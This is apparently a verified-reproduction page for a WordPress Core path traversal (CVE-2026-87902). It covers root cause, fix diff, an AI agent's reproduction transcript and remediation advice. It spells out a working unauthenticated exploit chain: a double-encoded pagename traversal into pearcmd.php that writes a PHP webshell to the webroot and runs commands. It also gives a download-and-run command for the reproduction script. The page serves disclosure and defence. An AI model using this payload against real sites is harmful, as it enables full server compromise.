CVE-2026-87902: Verified Reproduction
CVE-2026-87902: WordPress Core unauthenticated path traversal in get page template page-template resolution leading to conditional RCE
CVE-2026-87902 is verified against WordPress/wordpress-develop · github. Affected versions: 4.7.0 through 7.1.1. Fixed in 7.1.2. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00356.
What Is CVE-2026-87902?
CVE-2026-87902 is a critical-severity RCE vulnerability affecting WordPress/wordpress-develop 4.7.0 through 7.1.1. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00356).
CVE-2026-87902 Severity
CVE-2026-87902 is rated critical severity.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected WordPress/wordpress-develop Versions
WordPress/wordpress-develop · github versions 4.7.0 through 7.1.1 are affected.
How to Reproduce CVE-2026-87902
pruva-verify REPRO-2026-00356 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00356/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-87902
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
Unauthenticated GET query vars: page_id (existing page) and double-url-encoded pagename traversal (templates%252f%252e%252e...%252fusr%252flocal%252flib%252fphp%252fpearcmd) plus pearcmd argv tokens (+config-create+<php>+<shell path>)
- GET /?page_id=<id>&pagename=<double-encoded traversal>&+config-create+/<?=system(current($_GET))?>+/var/www/html/<shell>.php
- wp-includes/template.php get_page_template()
- locate_template() includes /usr/local/lib/php/pearcmd.php
- writes webroot webshell
- GET /<shell>.php executes attacker command
How the agent worked
Root Cause and Exploit Chain for CVE-2026-87902
WordPress Core's get_page_template() (wp-includes/template.php) builds a candidate
template filename from the pagename query variable after applying urldecode() to it,
without the validate_file() guard that is applied to the sibling $template candidate
three lines above. Because percent-encoded octets survive WordPress's query sanitization
(sanitize_title_for_query() preserves %xx sequences) and the pagename query variable
is settable by unauthenticated visitors, a double-url-encoded traversal payload is decoded
inside get_page_template() and assembled as page-{decoded}.php. locate_template()
then resolves and includes a readable local .php file outside the active theme
directories. When the server also ships a useful local PHP target — PEAR's
pearcmd.php with register_argc_argv=On (the default in the official PHP/WordPress
Docker images) — the file inclusion becomes remote code execution via the well-known
pearcmd.php config-create webshell-write transition.
- Package/component: WordPress Core (wordpress-develop),
wp-includes/template.php,get_page_template()/locate_template(). - Affected versions: 4.7.0 through 7.1.1 (all branches); fixed in 7.1.2 with backports (7.0.6, 6.9.9, 6.8.10, 6.7.9, ... down to 4.7.37).
- Risk: Critical (CVSS 4.0 9.2, CWE-98). Unauthenticated local PHP file inclusion,
escalable to remote code execution when (1) the active theme has a top-level directory
whose name starts with
page-(e.g. Twenty Twelve'spage-templates/) and (2) a readable local.phptarget such as/usr/local/lib/php/pearcmd.phpexists. - Consequences demonstrated: arbitrary OS command execution as
www-data(uid=33(www-data)) on the web server, i.e. full site compromise.
Impact Parity
- Disclosed/claimed maximum impact: unauthenticated remote code execution
(claim:
api_remotesurface,code_executionimpact). - Reproduced impact from this run: unauthenticated remote code execution through the
real Apache/HTTP front door of WordPress 7.1.1 — an attacker-chosen OS command
(
echo PRUVA-CMD-<token>;id) executed asuid=33(www-data)via a webshell that the include-chain wrote into the webroot, plus the underlying local file inclusion primitive proven independently with an out-of-theme marker file. - Parity: full.
- Not demonstrated: nothing beyond the claimed impact (no persistence/privilege escalation beyond the web user, which is out of scope for the claim).
Root Cause
In WordPress ≤ 7.1.1, get_page_template() contains:
if ( $template && 0 === validate_file( $template ) ) { // validated
$templates[] = $template;
}
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // NOT validated (the bug)
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
Reachability chain (all unauthenticated, plain-permalink front-controller request):
pagenameis a public query var;?pagename=...lands in$wp->query_varsafter exactly one URL decode by PHP.- Double-encoding keeps octets alive:
sanitize_title_for_query()preserves%xxsequences, so the query var still contains%2e%2e%2f...afterWP_Queryprocessing. - The 404 trap is avoided with
page_id: inWP_Query::get_posts()(class-wp-query.php ≈ line 2276) a validpage_idoverwrites theWHEREclause ($where = " AND ID = <page_id>"), so the query returns the real page,is_pagesurvivesWP::handle_404(), and the template loader reachesis_page() → get_page_template(). get_page_template()applies its own secondurldecode(), turningtemplates%2f%2e%2e%2f...intotemplates/../../../../usr/local/lib/php/pearcmd, and prependspage-/ appends.php. The leadingpage-is why the traversal must start inside a theme directory that literally starts withpage-(Twenty Twelve'spage-templates/).locate_template()seesfile_exists(<theme>/page-templates/../../../../usr/local/lib/php/pearcmd.php) == trueand returns the path; template-loader.phpincludes it.- With
register_argc_argv=On(default in the official PHP Docker images),$_SERVER['argv']is built from the raw query string split on+, so&+config-create+/<php-payload>+/var/www/html/<shell>.phpmakes the includedpearcmd.phpwrite an attacker-controlled PHP config file into the webroot. A second unauthenticated GET to that file executes arbitrary commands.
Fix (7.1.2, diff verified against the official release): adds
0 === validate_file( $pagename_decoded ) to the pagename branch and introduces
_wp_is_template_path_allowed(), a containment check (realpath must stay inside the
stylesheet/template directories or wp-includes/theme-compat) applied to every
candidate resolved by locate_template().
Fix reference: wordpress-develop 7.1.1...7.1.2 diff, files
src/wp-includes/template.php, src/wp-includes/version.php
(GHSA-7hp8-65ch-5whp, reporter Robert Ressl).
Reproduction Steps
bundle/repro/reproduction_steps.sh(self-contained; only needs Docker + network).- The script:
- pulls
wordpress:7.1.1-apacheandmysql:8.0, - builds a fixed image by replacing
/usr/src/wordpresswith the officialwordpress-7.1.2.tar.gz(keepingwp-config-docker.php), - records precondition evidence (WP versions,
register_argc_argv=On,pearcmd.phppresence, absence/presence of the patch hunks), - starts MySQL + both WordPress instances (vulnerable on :18081, fixed on :18082),
performs the real web installer flow over HTTP, installs and activates the legacy
Twenty Twelve theme (advisory-named precondition, top-level
page-templates/), - places a readable marker PHP at
/opt/pruva_lfi_marker.php(out-of-theme LFI proof target), - twice attacks the vulnerable instance with an unauthenticated
GET /?page_id=2&pagename=templates%252f%252e%252e...%252fusr%252flocal%252flib%252fphp%252fpearcmd&+config-create+/<?=system(current($_GET))?>+/var/www/html/<shell>.php, then fetches the written shell with?c=echo+PRUVA-CMD-<token>;id, - twice replays the identical attack against the fixed instance as a negative control,
- writes
bundle/repro/runtime_manifest.jsonwith sha256-bound proof artifacts.
- pulls
- Expected evidence: both vulnerable attempts return the per-attempt marker
PRUVA-CMD-<token>anduid=33(www-data); both fixed attempts show no marker and no shell (HTTP 404 for the shell, no LFI marker in the traversal response).
Evidence
- Preconditions/patch diff evidence:
bundle/logs/reproduction_preconditions.log(vuln:$wp_version = '7.1.1',register_argc_argv=1, pearcmd.php present, 0 occurrences ofvalidate_file( $pagename_decoded ); fixed: 7.1.2 with the guard and_wp_is_template_path_allowed). - Run log:
bundle/logs/reproduction_steps.log([vuln attempt 1] ... RCE=CONFIRMED LFI=CONFIRMED,2/2, fixed2/2 blocked). - Per-attack request/response pairs:
bundle/logs/vuln_attempt{1,2}_{request,response}.txt(response ends withSuccessfully created default configuration file "/var/www/html/pruva_rce_vuln*_*.php"). - Command-execution output:
bundle/logs/vuln_attempt{1,2}_command.txtcontainingPRUVA-CMD-<token>anduid=33(www-data) gid=33(www-data) groups=33(www-data). - LFI primitive:
bundle/logs/vuln_attempt{1,2}_lfi_response.txtbegins withPRUVA-LFI-MARKER-87902(out-of-theme/opt/pruva_lfi_marker.phpincluded). - Negative control:
bundle/logs/fixed_attempt{1,2}_*.txt— no marker, shell GET 404. - Environment: Apache 2.4.68 / PHP 8.3.33 (mod_php, official
wordpress:7.1.1-apacheimage, digest recorded in runtime_manifest.json), MySQL 8.0, Twenty Twelve 4.9, plain permalinks, default options. - Structured runtime evidence:
bundle/repro/runtime_manifest.json.
Recommendations / Next Steps
- Upgrade to WordPress 7.1.2 (or the corresponding backport: 7.0.6, 6.9.9, 6.8.10, 6.7.9, 6.6.9, ... 4.7.37).
- The fix approach is correct and sufficient: validate the decoded pagename with
validate_file()and enforce theme-containment (_wp_is_template_path_allowed()) for every template pathlocate_template()resolves. - Defense-in-depth: set
register_argc_argv=Offfor web SAPIs (php.ini-production default) to neutralize the pearcmd.php transition; remove PEAR from web images; avoid activating classic themes with top-levelpage-*directories on unpatched installs. - Testing: regression test that
page-%2e%2e%2f...-style pagenames (single- and double-encoded) never resolve outside the theme for both classic and block themes.
Additional Notes
- Idempotency: the script tears down and recreates its Docker network/containers on
every run, reuses cached downloads (
/pruva/project-cache/packages), rebuilds the fixed image only if missing/stale, and was executed twice consecutively with identicalCONFIRMEDresults (exit 0). - Implementation details discovered empirically: PHP builds
$_SERVER['argv']from the raw query string split on+and mangles single quotes, so the webshell payload is quote-free (<?=system(current($_GET))?>);curl -gis required because the payload otherwise triggers curl URL globbing. - The vulnerable path requires no authentication, no plugins, and default options;
the only non-default elements are the documented preconditions (a
page-*top-level theme directory — provided by the advisory-named Twenty Twelve theme — and a readable local.phptarget, provided by the stock official PHP/WordPress image).
CVE-2026-87902 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
cat /workspace/bundle/ticket.md | tail -30; echo ===; cat /workspace/bundle/ticket.json | head -80{"cwd":"/workspace","duration_ms":66,"exit_code":0,"stderr":"","stdout":"## Summary\n\nWordPress Core unauthenticated path traversal in get_page_template() page-template resolution leading to conditional RCE\n\n## Description\n\nCVE-2026-87902 / GHSA-7hp8-65ch-5whp (Critical, CVSS 4.0 9.2 — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H; CWE-98). Unauthenticated path traversal in WordPress Core page-template resolution: get_page_template() in wp-includes/template.php builds a candidate template filename from the 'pagename' query variable WITHOUT validate_file() validation — the sibling $template candidate is validated three lines above, but the urldecoded pagename candidate ('page-{$pagename_decoded}.php') is not. urldecode() turns a traversal-shaped slug into a real path, allowing inclusion of a chosen readable local .php file outside the active theme directories. Payload constraint: filename is assembled as \"page-{slug}.php\", so the traversal must continue a directory that genuinely starts with 'page-' and target a .php file. Preconditions: (1) active child/parent theme has a top-level directory whose name starts with 'page-' (e.g. page-templates; legacy Twenty Twelve and Twenty Fourt… [truncated]ls /pruva/project-cache/repo-mirrors/ 2>/dev/null; cat /pruva/project-cache/.pruva/cache_manifest.json; echo ===; which docker; docker info >/dev/null 2>&1 && echo DOCKER_OK || echo DOCKER_FAIL; docker images 2>/dev/null | head -20{
"schema_version": 1,
"entries": [
{
"path": "repo-mirrors",
"reuse_class": "repo",
"provenance": "run_generated"
}ls -la /pruva/project-cache/repo-mirrors/; echo ===; curl -sI --max-time 15 https://github.com/WordPress/wordpress-develop | head -3; echo ===; curl -sI --max-time 15 https://downloads.wordpress.org/release/wordpress-7.1.1.tar.gz | head -3total 0 drwx------ 2 vscode vscode 40 Sep 22 17:39 . drwx------ 4 vscode vscode 80 Sep 22 17:39 .. === HTTP/2 200 date: Tue, 22 Sep 2026 17:42:36 GMT content-type: text/html; charset=utf-8 ===
curl -s --max-time 30 "https://api.github.com/repos/WordPress/wordpress-develop/compare/7.1.1...7.1.2" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('total_commits'))
for f in d.get('files',[]):
print(f['filename'], f['status'])
"4 composer.json modified package-lock.json modified package.json modified src/wp-admin/about.php modified src/wp-includes/template.php modified src/wp-includes/version.php modified
curl -s --max-time 30 "https://github.com/WordPress/wordpress-develop/compare/7.1.1...7.1.2.diff" -o /tmp/fix.diff && grep -n "template.php" /tmp/fix.diff && sed -n '/diff --git a\/src\/wp-includes\/template.php/,/^diff --git/p' /tmp/fix.diff{"cwd":"/workspace","duration_ms":505,"exit_code":0,"stderr":"","stdout":"75:diff --git a/src/wp-includes/template.php b/src/wp-includes/template.php\n77:--- a/src/wp-includes/template.php\n78:+++ b/src/wp-includes/template.php\ndiff --git a/src/wp-includes/template.php b/src/wp-includes/template.php\nindex 6ec1934f866ec..4c1bc94b107b3 100644\n--- a/src/wp-includes/template.php\n+++ b/src/wp-includes/template.php\n@@ -490,7 +490,7 @@ function get_page_template() {\n \t}\n \tif ( $pagename ) {\n \t\t$pagename_decoded = urldecode( $pagename );\n-\t\tif ( $pagename_decoded !== $pagename ) {\n+\t\tif ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {\n \t\t\t$templates[] = \"page-{$pagename_decoded}.php\";\n \t\t}\n \t\t$templates[] = \"page-{$pagename}.php\";\n@@ -698,6 +698,67 @@ function wp_set_template_globals() {\n \t$wp_template_path = get_template_directory();\n }\n \n+/**\n+ * Determines whether a template found by locate_template() may be loaded.\n+ *\n+ * @since 7.1.2\n+ * @access private\n+ *\n+ * @global string $wp_stylesheet_path Path to current theme's stylesheet directory.\n+ * @global string $wp_template_path Path to current theme's te… [truncated]curl -s --max-time 30 "https://raw.githubusercontent.com/WordPress/wordpress-develop/7.1.1/src/wp-includes/template.php" -o /tmp/template-7.1.1.php && sed -n '440,530p' /tmp/template-7.1.1.php{"cwd":"/workspace","duration_ms":351,"exit_code":0,"stderr":"","stdout":"\n/**\n * Retrieves path of page template in current or parent template.\n *\n * Note: For block themes, use locate_block_template() function instead.\n *\n * The hierarchy for this template looks like:\n *\n * 1. {Page Template}.php\n * 2. page-{page_name}.php\n * 3. page-{id}.php\n * 4. page.php\n *\n * An example of this is:\n *\n * 1. page-templates/full-width.php\n * 2. page-about.php\n * 3. page-4.php\n * 4. page.php\n *\n * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}\n * and {@see '$type_template'} dynamic hooks, where `$type` is 'page'.\n *\n * @since 1.5.0\n * @since 4.7.0 The decoded form of `page-{page_name}.php` was added to the top of the\n * template hierarchy when the page name contains multibyte characters.\n *\n * @see get_query_template()\n *\n * @return string Full path to page template file.\n */\nfunction get_page_template() {\n\t$id = get_queried_object_id();\n\t$template = get_page_template_slug();\n\t$pagename = get_query_var( 'pagename' );\n\n\tif ( ! $pagename && $id ) {\n\t\t/*\n\t\t * If a static page is set a… [truncated]Artifacts and Evidence for CVE-2026-87902
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-87902
Upgrade WordPress/wordpress-develop · github to 7.1.2 or later.
FAQ: CVE-2026-87902
Is CVE-2026-87902 exploitable?
How severe is CVE-2026-87902?
What type of vulnerability is CVE-2026-87902?
Which versions of WordPress/wordpress-develop are affected by CVE-2026-87902?
Is there a fix for CVE-2026-87902?
How can I reproduce CVE-2026-87902?
Is the CVE-2026-87902 reproduction verified?
References for CVE-2026-87902
Authoritative sources for CVE-2026-87902 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.